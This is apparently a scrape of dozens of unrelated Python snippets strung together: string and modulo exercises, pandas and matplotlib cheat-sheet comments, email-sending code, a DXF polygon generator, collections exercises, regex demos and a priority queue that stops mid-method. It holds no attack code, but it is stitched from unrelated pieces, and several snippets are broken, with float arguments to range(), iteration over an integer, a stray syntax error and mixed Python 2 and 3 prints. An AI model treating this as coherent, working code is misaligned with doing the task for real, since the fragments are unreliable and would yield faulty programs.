to_you = """Stranger, if you passing meet me and desire to speak to me, why
  should you not speak to me?
And why should I not speak to you?"""


print(to_you)
string1 = "The wind, "
string2 = "which had hitherto carried us along with amazing rapidity, "
string3 = "sank at sunset to a light breeze; "
string4 = "the soft air just ruffled the water and "
string5 = "caused a pleasant motion among the trees as we approached the shore, "
string6 = "from which it wafted the most delightful scent of flowers and hay."

# Define message below:
message=string1+string2+string3+string4+string5+string6

print(message)
#You’re trying to divide a group into four teams. All of you count off, and you get number 27.

#Find out your team by computing 27 modulo 4. Save the value to my_team.
#example:
print(29 % 5)
# it returns 4, why that? Because if you divide 29/5 you obtain 5 with the remaining of 4 
# example 
my_team=(27%4)
print(my_team)
#output is 3

# to find out the team in each groups 
person = 0

while(person < 28):
  person = person + 1
  print("Person ", str(person), "= Team ", str(person % 4))
sorted_dict = {k: unsort_dict[k] for k in sorted(unsort_dict.keys())}
>>> A = {'a':1, 'b':2, 'c':3}
>>> B = {'b':3, 'c':4, 'd':5}
>>> c = {x: A.get(x, 0) + B.get(x, 0) for x in set(A).union(B)}
>>> print(c)

{'a': 1, 'c': 7, 'b': 5, 'd': 5}
try:
    server = smtplib.SMTP(settings.email.smtp_server, settings.email.port)
    server.ehlo() # Can be omitted
    server.starttls(context=context) # Secure the connection
    server.ehlo() # Can be omitted
    server.login(settings.email.sender_email, settings.email_password)
    server.sendmail(settings.email.sender_email, receiver, message.format(number=transactions_processed, code=user_identifier))
    logger.info("Email sent to {name}", name=user)
except Exception as e:
    logger.error(e)
finally:
    server.quit()
git push heroku master
heroku addons:create heroku-postgresql:hobby-dev # create postgres db in heroku app
heroku run python # run python repl with heroku
from app import db
db.create_all()
df['col'] = pd.to_datetime(df['col'])
m = float(input("number 1"))
n = float(input("number 2"))

i = 0
for i in range(m, n+1):
	i += 1

for i in range(n, m+1):
	i += 1
value = int(input("write a number: "))

t = []
i = 0
for i in value:
	i += 1
	t.append(i)

string = " ".join([str(i) for i in t])
print(string)
# Instaling "random"...
import random

# Asking to the computer to generate random numbers...
random.seed()
x = random.random()
import win32com.client as win32

outlook = win32.Dispatch('outlook.application')
mail = outlook.CreateItem(0)
mail.To = 'email.here@email.com'
#mail.CC = "more email addresses here"
#mail.BCC = "more email addresses here"
mail.Subject = 'Write subject here'
mail.Body = 'Hi Receipient,\n\nPlease find the file attached.\n\nRegards,\nSender'
attachment  = FileLocation +'/filename.xlsx'.
mail.Attachments.Add(attachment)
mail.Send()
import datetime as dt
import os

#Folder Creation
Directory = 'C:/Users/Username/Desktop'
now = dt.datetime.now()
CompletedFor = now + relativedelta(months=+1)
CompletedForNumber = CompletedFor.month
CompletedForWord = CompletedFor.strftime('%B')
FollowingMonth = "{}. {}".format(CompletedForNumber, CompletedForWord)
os.makedirs(Directory + FollowingMonth)

###Creating Date for File Name
Today = dt.datetime.now()
ContactDate = Today.replace(day=1) + relativedelta(months=+2) - relativedelta(days=1)
ContactDate = ContactDate.strftime('%d%B')

#Exporting to one excel file with two sheets with end of following month in name
SaveLocation = Directory + FollowingMonth
os.chdir(SaveLocation)
writer = pd.ExcelWriter('ThisIsTheFIle' + ContactDate + '.xlsx',engine='xlsxwriter')  
Sheet1_df.to_excel(writer, sheet_name='Sheet1', index=False)
Sheet2_df.to_excel(writer, sheet_name='Sheet2', index=False)
writer.save()
import re

def Phone_Number(s):
    s = str(s)
    s = s.translate(str.maketrans("", "", ",.-'\"():|*`;+/!&?$°@#"))
    s.replace('\.0', '')
    s = re.sub('\D', '', s)
    Prefixes = ["353", "00353", "0353", "00", "01" , "021", "022", "023", "024", "025", "026",
                "027", "028", "029", "0402", "0404", "041", "042", "043", "044", "045", "046",
                "047", "048", "049", "0504", "0505", "051", "052", "053", "056", "057", "058", 
                "059", "061", "062", "063", "064", "064", "065", "066", "067", "068", "069",
                "071", "074", "090", "091", "093", "094", "095", "096", "097", "098", "099" ]
    for n in Prefixes:
        if s.startswith(n):
            s = s.replace(n,"")
    if s.startswith('8') == True and len(s) == 9:
      s = '0' +s
    if len(s) < 6:
        s = ""
    if len(s) > 10:
        s = ""
    Contains = ['00000', '123456']
    if any(c in s for c in Contains):
        s = ""     
    return s
def County_Extract(address):
    counties_list = ['Carlow','Cavan','Clare', 'Cork', 	  
                     'Donegal','Dublin','Galway','Kerry','Kildare','Kilkenny',
                     'Laois','Leitrim','Limerick','Longford','Louth','Mayo',     
                     'Meath','Monaghan','Offaly','Roscommon','Sligo',
                     'Tipperary','Waterford','Westmeath',
                     'Wexford','Wicklow']
    
	county_match = ''
    old_find_index = 0

    for county in counties_list:
          
          find_index = address.upper().rfind(county.upper())
          if find_index > old_find_index:
               county_match = county
               old_find_index = find_index

    if old_find_index != 0:
            CorrectCounty = county_match
    else:
            CorrectCounty = "Unknown"
    return(CorrectCounty)  
for p in ax.patches:
    values = '{:.0f}'.format(p.get_height())
    x = p.get_x() + p.get_width()/2
    y = p.get_height()
    ax.annotate(values, (x, y),ha='center', va ='bottom', fontsize = 10)
.apply(lambda x: x.replace(',',',').replace(',',',').split(',')
# python general ----------------------------------------------------------------------------------------

#variables changed in a function are partly unchanged; tired it with np array -> unchanged; list -> changed - outside of the function

# dataframes ------------------------------------------------------------------------------------------------

# pd.set_option('display.max_rows', 500)


# list_mcc = df_mcc_sum['mcc'][:20].values slicing dataframes
#syntax: df[slice/list or single column_name][slice of integer positions of rows]
# this works as well: df[slice of integer positions of rows] ... selects the rows for the whole df

# df.loc[slice/list or sthg of row labels, slice/list of column labels] ... these are really the labels, not the integer positions
# df.iloc[slice/list single intger row position, slice/list or single integer column position] 0-based indexing. When slicing, the start bound is included, while the upper bound is excluded.


# def is_hot_dry(temp, humid):
#     if (temp > 0.8) & (humid < -0.5):
#         return 1
#     else:
#         return 0
# df['hot'] = df.apply(lambda x: is_hot_dry(x['avgTemp'], x['avgHumidity']), axis =  1) put output of function with 2 df columsn as arguments into new column

# group df by 1 column and get a new df for which you specify how the columns are aggregated
# column_list = ['city_id',  'purchases', '_year', '_month', '_day', '_date', 'Transaktionscode', 'MCC',  'umsatz', 'online', 'mobilfunker']
# agg_dict = { 'city_id': 'first',  'purchases': 'sum', '_year': 'first', '_month': 'first', '_day': 'first', '_date': 'first', 'Transaktionscode': 'first', 'MCC': 'first',  'umsatz': 'sum', 'online': 'first', 'mobilfunker': 'first' }
# df = df.groupby('_date')[column_list].agg( agg_dict ).reset_index(drop=True)

#df = df.loc[ df['Merchantname'].str.contains('Shop', case=False) ] loc on part of string ignoring upper and lower case
#df = df.loc[ ~df['Merchantname'].str.contains('Shop', case=False) ] same for excluding these elements



# df_shop = df_join_weekday.loc[ df_join['dealerID_Long'] == 2870000, 'dealerID_Long':'wind' ]
# gb_join_weekday = df_join.groupby('weekday')['purchases'].sum()
# gb_weekday.plot(kind='bar')
# gb_weekday = df.groupby('_month')[['purch_ga_hvv_res','purch_ae_access_bbi','purch_ga_netcube']].sum().plot(kind='bar') more than 1 bar per group
# df_agg.set_index("dealerID_Long", inplace=True)
# print(df_orig.groupby('DealerID_Long').count()) count unique values in dataframe column
# df.purchases.sum(axis=0) sum over 1 column
# df_cat = df_date.loc[ (df_date['Kategorie'] == 'None') | (df_date['Kategorie'].isnull()) ] # select compley boolean statement for loc with | and & not (or, and)

# for ind,row in df_merged.iterrows(): iterating over dataframes rows and in the process adding values to a new column
#     df_merged.loc[ind,'new-column_name'] = counter

# df_shop_station_match = pd.DataFrame(columns=[ 'city_id', '_city_name', 'Dealer_latitude','Dealer_longitude', 'dealer_name', 'DealerID_Long'])
# df_shop_station_match.loc[counter] = [close_city_id, close_city_name, row['Dealer_latitude'],row['Dealer_longitude'], row['dealer_name'], row['DealerID_Long']]
    # using loc to iteratively fill a dataframe

# df_city.loc[ : , new_target_name ] = pd.Series(new_target_data[:,0], index=df_city.index) using loc for filling a df column with a numpy array

# df_east_1.loc[:, 'holiday_week'] = df_east_1['calendar_week'].values - 26 # setting values for new column with another column
# df['kda'] = np.where(df['deaths']>0, (df['kills'] + df['assists']) / df['deaths'], df['kills'] + df['assists']) # set new column values with condition on old column

#df.loc[:, target_variable] = df[target_name_list].sum(axis=1) new column as sum of several other columns


# df_new = df_f.iloc[0:0] erase all data in a dataframe

# df_new = df.iloc[0:0] 
# df_new.loc[:,'A'] = df.loc[:,'A'] copy values for the whole column from df to df new; also copies index from df

#corrMatrix = df_shop.corr() 
#sns.heatmap(corrMatrix,annot=True)
# bottom, top = ax.get_ylim()
# ax.set_ylim(bottom + 0.5, top - 0.5)

# pd.plotting.scatter_matrix(df)
# pd.plotting.autocorrelation_plot(df_f[variable_to_plot])


#corrList = df_join_weekday.corr()['purchases'][1:] only correlation with 1 variable
#corrList.plot(kind='bar')

# dum = df.groupby( ['_year','_weekday'] )['purchases_total'].sum().unstack(level=0) plot heatmap of data grouped by 2 attributes
# sns.heatmap(dum, cmap='viridis',annot=True)
# bottom, top = ax.get_ylim()
# ax.set_ylim(bottom + 0.5, top - 0.5)

# df_city.plot(x='_date', y=target_variable, style='.') point plot with datetime x axis (parse dates in read statement); not possible to use c= column
# style format = marker line color '.-g'

# df.boxplot('in_count_mall', by='_month') # box plot a dataframe


#plotting ------------------------------------------------------------------------------------------------

# fig, axs = plt.subplots(1,3)
# axs[0].scatter(x,y)
# axs[0].set(xlabel='x', ylabel='y')

#scatter plot with trend line:
# xString = 'unixTime'
# yString = 'purchases'
# x=df_join_weekday[xString]
# y=df_join_weekday[yString]
# plt.scatter(x, y)
# plt.xlabel(xString)
# plt.ylabel(yString)
# z = np.polyfit(x, y, 1)
# p = np.poly1d(z)
# plb.plot(x, p(x), 'm-')
# plt.show()

# pd.plotting.scatter_matrix(df_draw, alpha=0.2, figsize=(10, 10),diagonal='kde') # plotting a scatter matrix from a data frame
# plt.show()

# plot all columns of df with labels and stuff
#df_weather.plot('DATE')

# plot all the columns of a groupby object (= without selection of a column after ('_weekday'))
# gb = df.groupby('_weekday').count()

# for i in range(6): plotting several subplots in 1 figure
#     ax = plt.subplot(3, 2, i+1)
#     df.plot.scatter(x=column_list[i],y='purchases_mall',c='_weekday', colormap = 'viridis', ax=ax)

# fig, ax = plt.subplots()
# for name, group in df.groupby('_year'):
#     group.plot(x='day_year', y='purchases_total', ax=ax, label=name) plot values of a column grouped by values of another column into a single plot

# df['N'].hist(by=df['Letter']) hists of column N grouped by the column letter - seperate hist for each letter

# gb = df.groupby(['Kategorie','_month'],as_index='False')[['purchases']].sum()
# gb.unstack(level=0).plot(kind='bar', subplots=True) plot multiindex dataframe from line above as barplot with several subplots

# fig, ax1 = plt.subplots() plot a second column with seperate y axis in same plot
# ax2 = ax1.twinx()  # instantiate a second axes that shares the same x-axis
# df.plot(x='_date', y= 'in_counts', ax = ax1, color = 'tab:blue')
# df.plot(x='_date', y= 'avgTemp', ax = ax2, color = 'tab:red')
# plt.show()

# df.plot(y = 'in_counts', ax = ax1, color = 'tab:blue', use_index = True) plot column vs index


# params = {'font.size': 10, #adjusting plot properties
#         'legend.fontsize': 'xx-small',
#         'axes.labelsize': 'xx-small',
#         'axes.titlesize':'xx-small',
#         'xtick.labelsize':'xx-small',
#         'ytick.labelsize':'xx-small'}
# plt.rcParams.update(params)
# plt.subplots_adjust(wspace=0.4, hspace=0.4) # width and height space
# plt.savefig( pltString, dpi=300 )

# fit data with self defined function
# from scipy.optimize import curve_fit 
# def func(x, a, b, c):
#     return a / x + b + c * x
# popt, pcov = curve_fit(func, df['shop_sum_scaled'], df['in_buy_ratio'])
# plt.plot(df['shop_sum_scaled'], func(df['shop_sum_scaled'], *popt), 'r.')


# datetime stuff ---------------------------------------------------------

# date_list = df['_date'].unique()  select unique dates and convert to pandas datetime
# date_list = pd.to_datetime(date_list)

# or date_list = date_list.astype('M8[D]')

# import matplotlib.dates as mdates #formatting date axis
# months = mdates.MonthLocator()
# days = mdates.DayLocator(interval = 10)
# months_fmt = mdates.DateFormatter('%Y-%m')
# days_fmt = mdates.DateFormatter('%d')
# ax.xaxis.set_major_locator(months)
# ax.xaxis.set_minor_locator(days)
# ax.xaxis.set_major_formatter(months_fmt)
# ax.xaxis.set_minor_formatter(days_fmt)


# Lists -----------------------------------------------------------------------------------------------

# list_not_mall = [sum(a) for a in zip(list_urban, list_periphery)] elementwise summation of 2 lists
# sort_ind[-10:] last 10 elemnts of numpy array
# a = [2 if x < 4 else x for x in a ]
# b = [2 for x in a if x < 4]

# new_infections = [y - x for x,y in zip(tot_infections,tot_infections[1:])] # subtract preious element in list


# groupby -----------------------------------------------------------------------------------------------------------

# df.groupby(pd.cut( df["avgTemp"], np.arange(15, 40, 5) ))['purchases_mall'].mean() groupby numerical value (avgTemp)


# dicts -------------------------------------------------------------------

# {key: value for (key, value) in iterable}

# statistics ----------------------------------------------------------------

# r, pval_p = stat.pearsonr(df['in_counts'].values, df['purchases5651'].values)
# print('pearson r:', r, 'pearson pval:', pval_p)

# rho, pval = stat.spearmanr(df['in_counts'].values, df['purchases5651'].values)
# print('spearman rho:', rho, 'spearman pval:', pval )


# strings -------------------------------------------------------------------

# axs[2].set_title('pearson_r: ' + str( np.around(r1,3) ) + ' , p_val: ' +  '{:.1e}'.format(pval_p3) )
df_cliente.groupby([df_cliente['dt_transacao'].dt.date]).mean()
from itertools import cycle
from shutil import get_terminal_size
from threading import Thread
from time import sleep


class Loader:
    def __init__(self, desc="Loading...", end="Done!", timeout=0.1):
        """
        A loader-like context manager

        Args:
            desc (str, optional): The loader's description. Defaults to "Loading...".
            end (str, optional): Final print. Defaults to "Done!".
            timeout (float, optional): Sleep time between prints. Defaults to 0.1.
        """
        self.desc = desc
        self.end = end
        self.timeout = timeout

        self._thread = Thread(target=self._animate, daemon=True)
        self.steps = ["⢿", "⣻", "⣽", "⣾", "⣷", "⣯", "⣟", "⡿"]
        self.done = False

    def start(self):
        self._thread.start()
        return self

    def _animate(self):
        for c in cycle(self.steps):
            if self.done:
                break
            print(f"\r{self.desc} {c}", flush=True, end="")
            sleep(self.timeout)

    def __enter__(self):
        self.start()

    def stop(self):
        self.done = True
        cols = get_terminal_size((80, 20)).columns
        print("\r" + " " * cols, end="", flush=True)
        print(f"\r{self.end}", flush=True)

    def __exit__(self, exc_type, exc_value, tb):
        # handle exceptions with those variables ^
        self.stop()


if __name__ == "__main__":
    with Loader("Loading with context manager..."):
        for i in range(10):
            sleep(0.25)

    loader = Loader("Loading with object...", "That was fast!", 0.05).start()
    for i in range(10):
        sleep(0.25)
    loader.stop()
op=get_operator()
try:
  if "Not Registered" in op:
     print "No Signal"
  else:
     print "Operator Name: " + op
except:
  print("Error occored")
#extract list of tickers from screener
tickers = []
for item in screener:
    tickers.append(item['symbol'])

#extract list of sectors from screener
sectors = []
for item in screener:
    sectors.append(item['sector'])

#extract list of industries from screener
industries = []
for item in screener:
    industries.append(item['industry'])

#extract list of companies from screener
name = []
for item in screener:
    name.append(item['companyName'])
#url to retrieve company tickers

url = (f'https://financialmodelingprep.com/api/v3/stock-screener?marketCapMoreThan=10000000000&volumeMoreThan=10000&apikey={api}')

#call api and convert to json
screener = requests.get(url).json()
import pandas as pd
import numpy as np
from openpyxl import load_workbook

path = r"C:\Users\fedel\Desktop\excelData\PhD_data.xlsx"

book = load_workbook(path)
writer = pd.ExcelWriter(path, engine = 'openpyxl')
writer.book = book

x3 = np.random.randn(100, 2)
df3 = pd.DataFrame(x3)

x4 = np.random.randn(100, 2)
df4 = pd.DataFrame(x4)

df3.to_excel(writer, sheet_name = 'x3')
df4.to_excel(writer, sheet_name = 'x4')
writer.save()
writer.close()
import numpy as np
import pandas as pd
import perfplot

perfplot.save(
    "out.png",
    setup=lambda n: pd.DataFrame(np.arange(n * 3).reshape(n, 3)),
    n_range=[2**k for k in range(25)],
    kernels=[
        lambda df: len(df.index),
        lambda df: df.shape[0],
        lambda df: df[df.columns[0]].count(),
    ],
    labels=["len(df.index)", "df.shape[0]", "df[df.columns[0]].count()"],
    xlabel="Number of rows",
)
# Connecting the drive with the colab kernel...
from google.colab import drive
drive.mount('/content/drive')
a, b = 1,0

try:
    print(a/b)
    # exception raised when b is 0
except ZeroDivisionError:
    print("division by zero")
else:
    print("no exceptions raised")
finally:
    print("Run this always")
view raw
from collections import Counter

str_1, str_2, str_3 = "acbde", "abced", "abcda"
cnt_1, cnt_2, cnt_3  = Counter(str_1), Counter(str_2), Counter(str_3)

if cnt_1 == cnt_2:
    print('1 and 2 anagram')
if cnt_1 == cnt_3:
    print('1 and 3 anagram')
# finding frequency of each element in a list
from collections import Counter

my_list = ['a','a','b','b','b','c','d','d','d','d','d']
count = Counter(my_list) # defining a counter object

print(count) # Of all elements
# Counter({'d': 5, 'b': 3, 'a': 2, 'c': 1})

print(count['b']) # of individual element
# 3

print(count.most_common(1)) # most frequent element
# [('d', 5)]
my_string = "abcba"

if my_string == my_string[::-1]:
    print("palindrome")
else:
    print("not palindrome")

# Output
# palindrome
list_of_strings = ['My', 'name', 'is', 'Chaitanya', 'Baweja']

# Using join with the comma separator
print(','.join(list_of_strings))

# Output
# My,name,is,Chaitanya,Baweja
string_1 = "My name is Chaitanya Baweja"
string_2 = "sample/ string 2"

# default separator ' '
print(string_1.split())
# ['My', 'name', 'is', 'Chaitanya', 'Baweja']

# defining separator as '/'
print(string_2.split('/'))
# ['sample', ' string 2']
# Multiplying each element in a list by 2

original_list = [1,2,3,4]

new_list = [2*x for x in original_list]

print(new_list)
# [2,4,6,8]
n = 3 # number of repetitions

my_string = "abcd"
my_list = [1,2,3]

print(my_string*n)
# abcdabcdabcd

print(my_list*n)
# [1,2,3,1,2,3,1,2,3]
'''
Autor: Antonio de Jesús Anaya Hernández
Github: @kny5
Program: Parametric polygon shape generator for laser cutting with kerf and dxf output.

'''
import math
import ezdxf
import random

# Parameters
sides = random.randrange(3, 10, 1)
radius = 40
origin = (100,100)
slot_depth = radius/2
kerf = 0.2
material_thickness = 5

class dxf_file():
    def __init__(self, __filename):
        self.filename = __filename
        self.file = None
        self.create_dxf()

    def create_dxf(self):
        self.file = ezdxf.new('R2018')
        self.file.saveas(self.filename)

    def save_dxf(self):
        self.file.saveas(self.filename)

    def add_vectors_dxf(self, vectors):
        self.model = self.file.modelspace()
        for vector in vectors:
            self.model.add_line(vector[0], vector[1])
            self.save_dxf()


def rotate_point(point, pivot, angle):
    x = ((point[0] - pivot[0]) * math.cos(angle)) - ((point[1] - pivot[1]) * math.sin(angle)) + pivot[0]
    y = ((point[0] - pivot[0]) * math.sin(angle)) + ((point[1] - pivot[1]) * math.cos(angle)) + pivot[1]
    return (x, y)


def line_intersection(line1, line2):
    xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])
    ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1])

    def det(a, b):
        return a[0] * b[1] - a[1] * b[0]

    div = det(xdiff, ydiff)
    if div == 0:
       raise Exception('lines do not intersect')

    d = (det(*line1), det(*line2))
    x = det(d, xdiff) / div
    y = det(d, ydiff) / div
    return (x, y)


class workspace():
    def __init__(self, __origin=(0,0), __width=1000, __height=1000):
        self.origin = __origin
        self.width = __width
        self.height = __height
        self.objects = []

    def add_object(self, __object):
        self.objects.append(__object)
        # Should I sort this?


class polygon():
    def __init__(self, __origin, __sides, __radius, __kerf=kerf):
        self.kerf = __kerf
        self.sides = __sides
        # kerf parameter
        self.radius = __radius + self.kerf
        self.origin = __origin
        self.points = []
        self.vectors = []
        self.angle = 360/self.sides
        self.make()
        self.get_vectors()

    def make(self):
        for side in range(0, self.sides):
            __x = self.origin[0] + self.radius * math.cos(2 * math.pi * side / self.sides)
            __y = self.origin[1] + self.radius * math.sin(2 * math.pi * side / self.sides)
            self.points.append((__x, __y))

    def get_vectors(self):
        self.vectors = list(zip(self.points, self.points[1:] + self.points[:1]))

    def slot(self, __width, __depth):

        # kerf parameter
        width = __width - self.kerf
        depth = __depth - self.kerf
        # Define points of slot shape:
        __a = (self.origin[0] + self.radius - depth, self.origin[1] - (width / 2))
        __b = (self.origin[0] + self.radius - depth, self.origin[1] + (width / 2))
        __c = (self.origin[0] + self.radius, self.origin[1] + (width / 2))
        __d = (self.origin[0] + self.radius, self.origin[1] - (width / 2))

        # Set initial position rotate to initial position
        __a = rotate_point(__a, self.origin, math.radians(self.angle / 2))
        __b = rotate_point(__b, self.origin, math.radians(self.angle / 2))
        __c = rotate_point(__c, self.origin, math.radians(self.angle / 2))
        __d = rotate_point(__d, self.origin, math.radians(self.angle / 2))

        # packing slot sides
        slot_left_side_1 = (__b, __c)
        slot_right_side_1 = (__a, __d)

        # finding intersection point between slot sides and polygon face 1
        right_inter = line_intersection(self.vectors[0], slot_right_side_1)
        left_inter = line_intersection(self.vectors[0], slot_left_side_1)

        # Manually ordering the points of the slot shape
        output = [self.points[0]]
        output.append(right_inter)
        output.append(__a)
        output.append(__a)
        output.append(__b)
        output.append(__b)
        output.append(left_inter)
        # index 7

        # repeating the process radially for the number of faces.
        for side in range(1, self.sides):
            output.append(rotate_point(self.points[0], self.origin, math.radians(side * self.angle)))
            output.append(rotate_point(right_inter, self.origin, math.radians(side * self.angle)))
            output.append(rotate_point(__a, self.origin, math.radians(side *self.angle)))
            output.append(rotate_point(__a, self.origin, math.radians(side *self.angle)))
            output.append(rotate_point(__b, self.origin, math.radians(side *self.angle)))
            output.append(rotate_point(__b, self.origin, math.radians(side *self.angle)))
            output.append(rotate_point(left_inter, self.origin, math.radians(side * self.angle)))

        # creating a vector list from the points list
        self.output = list(zip(output, output[1:] + output[:1]))


# program test

# creating a random generated polygon
a = polygon(origin, sides, radius)
a.slot(material_thickness, slot_depth)

# creating a DXF document and adding slot output vectors
dxf_file_ = dxf_file("test.dxf")
a.get_vectors()
dxf_file_.add_vectors_dxf(a.output)
def permutationCipher(password, key):
    table = password.maketrans('abcdefghijklmnopqrstuvwxyz', key)
    return password.translate(table)
def isWordPalindrome(word):
    print(word[-1:0])
    return word == word[::-1]
def func(x):
    return "something" if x == 0 else "something else"
def get_batch(vectorized_songs, seq_length, batch_size):
  # the length of the vectorized songs string
  n = vectorized_songs.shape[0] - 1
  # randomly choose the starting indices for the examples in the training batch
  idx = np.random.choice(n-seq_length, batch_size)

  '''TODO: construct a list of input sequences for the training batch'''
  input_batch = [vectorized_songs[i:i+seq_length] for i in idx]# TODO
  '''TODO: construct a list of output sequences for the training batch'''
  output_batch = [vectorized_songs[i+1:i+seq_length+1] for i in idx] # TODO

  # x_batch, y_batch provide the true inputs and targets for network training
  # print(input_batch, output_batch)
  x_batch = np.reshape(input_batch, [batch_size, seq_length])
  y_batch = np.reshape(output_batch, [batch_size, seq_length])
  return x_batch, y_batch
import sqlite3


class DatabaseConnection:
    def __init__(self,host):
        self.connection = None
        self.host = host

    def __enter__(self):
        self.connection = sqlite3.connect(self.host)
        return self.connection

    def __exit__(self, exc_type, exc_val, exc_tb): #parameters in case of exception
        if exc_tb or exc_val or exc_type: # if one of thos erros happen
            self.connection.close()
        else:
            self.connection.commit()
            self.connection.close()
from collections import defaultdict, OrderedDict, namedtuple, deque


def task1() -> defaultdict:
    """
    - create a `defaultdict` object, and its default value would be set to the string `Unknown`.
    - Add an entry with key name `Alan` and its value being `Manchester`.
    - Return the `defaultdict` object you created.
    """
    # you code starts here:
    val = 'Unknown'
    dd = defaultdict(lambda: val)
    dd['Alan'] = 'Manchester'

    return dd




def task2(arg_od: OrderedDict):

  #  - takes in an OrderedDict `arg_od`
   # - Remove the first and last entry in `arg_od`.
  arg_od.popitem()
  arg_od.popitem(False)
    #- Move the entry with key name `Bob` to the end of `arg_od`.
  arg_od.move_to_end('Bob')
    #- Move the entry with key name `Dan` to the start of `arg_od`.
  arg_od.move_to_end('Dan',False)
    #- You may assume that `arg_od` would always contain the keys `Bob` and `Dan`,
    #   and they won't be the first or last entry initially.






def task3(name: str, club: str) -> namedtuple:
    """
    - create a `namedtuple` with type `Player`, and it will have two fields, `name` and `club`.
    - create a `Player` `namedtuple` instance that has the `name` and `club` field set by the given arguments.
    - return the `Player` `namedtuple` instance you created.
    """
    # you code starts here:
    Player =namedtuple('Player', ['name', 'club'])
    player = Player(name, club)

    return player




def task4(arg_deque: deque):
    """
    - Manipulate the `arg_deque` in any order you preferred to achieve the following effect:
        -- remove last element in `deque`
        -- move the fist (left most) element to the end (right most)
        -- add an element `Zack`, a string, to the start (left)
    """
    arg_deque.pop()  # remove last element
    arg_deque.append(arg_deque.popleft())  # remove first element and append it to last
    arg_deque.appendleft('Zack')  # add Zack to start
class Car:
  def __init__(self,make,model):
    self.make =make
    self.model = model

  def __repr__(self):
    return f'<car {self.make} {self.model}>'


class Garage:
  def __init__(self):
    self.cars = []
    
  def __len__(self):
      return len(self.cars)
  
  def add_car(self,car):
    if not isinstance(car,Car):# accept only clss obcject clas car
      raise TypeError(f'Tried to add `car.__class__.__name__ to the garage but you can only add car object')
    self.cars.append(car)
    #raise NotImplemented('We cant add catss to the garage yet')# you create a new error of type notimplemented error 



ford =Garage()
car = Car('Ford','Fiesta')

ford.add_car(car)
print(len(ford))
# ANY - if any element evaluate to true
# ALL - if all elements evaluete to true

friends = [
    {'name': 'Rolf', 'Location': 'Warszawa'},
    {'name': 'Piotr', 'Location': 'Warszawa'},
    {'name': 'Marek', 'Location': 'Warszawa'},
    {'name': 'Tomasz', 'Location': 'Kraków'},
    {'name': 'Zenek', 'Location': 'Warszawa'},
    {'name': 'Stanislaw', 'Location': 'Warszawa'}

]

yourlocation = input('Where are u?')

friends_nearby = [friend for friend in friends if friend['Location'] == yourlocation ]

if any(friends_nearby): # if there is at least one and False if empty
    print("u are not alone")

if all(friends_nearby):
    print("u are not alone")


#Values that evaluate to false

"""
0 , 0.0 ...
none
[] () {}
False
"""

#print(bool(0))


print(all([1, 2, 3, 4, 5]))
print(all([0, 1, 2, 3, 4, 5]))
def transform_text(text: str) -> str:
    transform_text = ""
    for _index, _char in enumerate(text):
        if _index % 2:
            transform_text += _char.upper()

        else:
            transform_text += _char.lower()

    return transform_text


def display_vertical_text(text: str):
    for _char in text:
        print(_char)




if __name__ == "__main__":
    _text = "Hellow World"
    out = transform_text(text=_text)
    display_vertical_text(out)
#functions that accepts other functions as parameter

def greet():
    print('Hello')

def before_and_after(func):
    print('Before')
    func()
    print('After')

#before_and_after(greet)


#before_and_after(lambda: 5)


books = [
    {'name': 'Matrix', 'Director': 'Wahowski'},
{'name': 'Matrix2', 'Director': 'Wahowski'},
{'name': 'Ogniem I mieczem', 'Director': 'WAJDA'},
{'name': 'Chlopi', 'Director': 'Rejmond'},
{'name': 'QV', 'Director': 'Sienkiewicz'},
{'name': 'LORD', 'Director': 'Tolkien'}

]

def find_book(expected,finder):
    list = []
    for book in books:
        if finder(book) == expected:
            list.append(book)

    return list





find_by = input('What property are u searching by?')
looking_for = input('What are u looking for?')

book = find_book(looking_for ,lambda book: book[find_by])

print(book or 'No mowies found')
import logging

logging.basicConfig(
    format='%(asctime)s %(levelname) -8s [%(filename)s:%(lineno)d]  %(message)s',
    level=logging.DEBUG,
    datefmt= '%Y-%m-%d %H:%M:%S',
    filename= 'log.txt'
)

#s - turn it to a string

logger = logging.getLogger('test_log')

logger.info('This will not show up')
logger.warning('This will')
logger.error('this is error')
logger.critical('Critical error')


"""
DEBUG
INFO

#those show up by default
WARNING
ERROR
CRITICAL

"""
"""
Our definition of a secure filename is:
- The filename must start with an English letters or a number (a-zA-Z0-9).
- The filename can **only** contain English letters, numbers and symbols among these four: `-_()`.
- The filename must end with a proper file extension among `.jpg`, `.jpeg`, `.png` and `.gif`
"""


def is_filename_safe(filename):
    # you only need to change the regular expression (regex) below
    regex = '^[a-zA-Z0-9][a-zA-Z0-9_()-]*(\.jpg|\.jpeg|\.png|\.gif)$'

    return re.match(regex, filename) is not None


import re

email = 'bartoszjakubiak23@gmail.com'
expresion = '[a-z\.]+'


domain = re.findall(expresion ,email)

print(domain)



price = 'Price : $189.45454'
expresion = 'Price : \$([0-9]*\.[0-9]*)' # \ escape character , * any number of numbers


matches = re.search(expresion ,price)

print(matches.group(0)) # entire match
print(matches.group(1)) # first thing in brackets
"""
. - matches one character
* many characters
[abc] - range of characters
[abc]+ matches one or more of this set
[A-z]+ - upercase
[A-z\.]@[A-z\.]+  - email
[A-z\.]@[A-z]+\.(com|me) - email


"""

from datetime import datetime ,timezone,timedelta


print(datetime.now()) # not aware about time zones , local computer time

print(datetime.now(timezone.utc)) # UTC TIME  +00:00 meaning there is not offset


today =  datetime.now(timezone.utc)
tomorrow = today + timedelta(days=1)

print(tomorrow)

print(today.strftime('%d-%m-%Y %H:%M:%S'))

#user_date = input('Give time in YYYY-mm-dd format')
#user_date = datetime.strptime(user_date,'%Y-%m-%d')

#print(user_date)

print(today.timestamp()) # linux timestamp
import time,timeit


def power(limit):
    return [x**2 for x in range(limit)]




def measure_runtime(func):
    start = time.time()
    func()
    end = time.time()
    print(end - start) # number of seconds since 1970



measure_runtime(lambda :power(5000000)) # lamda function allows us to pass an argument


## another way


print(timeit.timeit('[x**2 for x in range(10)]')) # it runs it many times many times
print(timeit.timeit('list(map(lambda x: x**2,range(10)))'))
# Python code to implement Priority Queue using Linked List
# Node class 
class Node:
    def __init__(self, item, priority):
        self.item = item
        self.next = None
        self.priority = priority

class PriorityQueue:
    def __init__(self):
        self.front = self.rear = None

    # Returns a boolean value indicating whether the queue is empty
    def isEmpty(self):
        return self.front == None

    # Adds the given item to the queue by inserting it in the proper 
    # position based on the given priority. The new node is appended to 
    # the end of the linked list
    def enqueue(self, item, priority):
        newNode = Node(item, priority)
        if not self.rear:
            self.front = self.rear = newNode
            return
        if self.front.priority < newNode.priority:
            newNode.next = self.front
            self.front = newNode
            return
        previous = None
        current = self.front
        while(current and newNode.priority < current.priority):
            previous = current
            current = current.next

        if current:
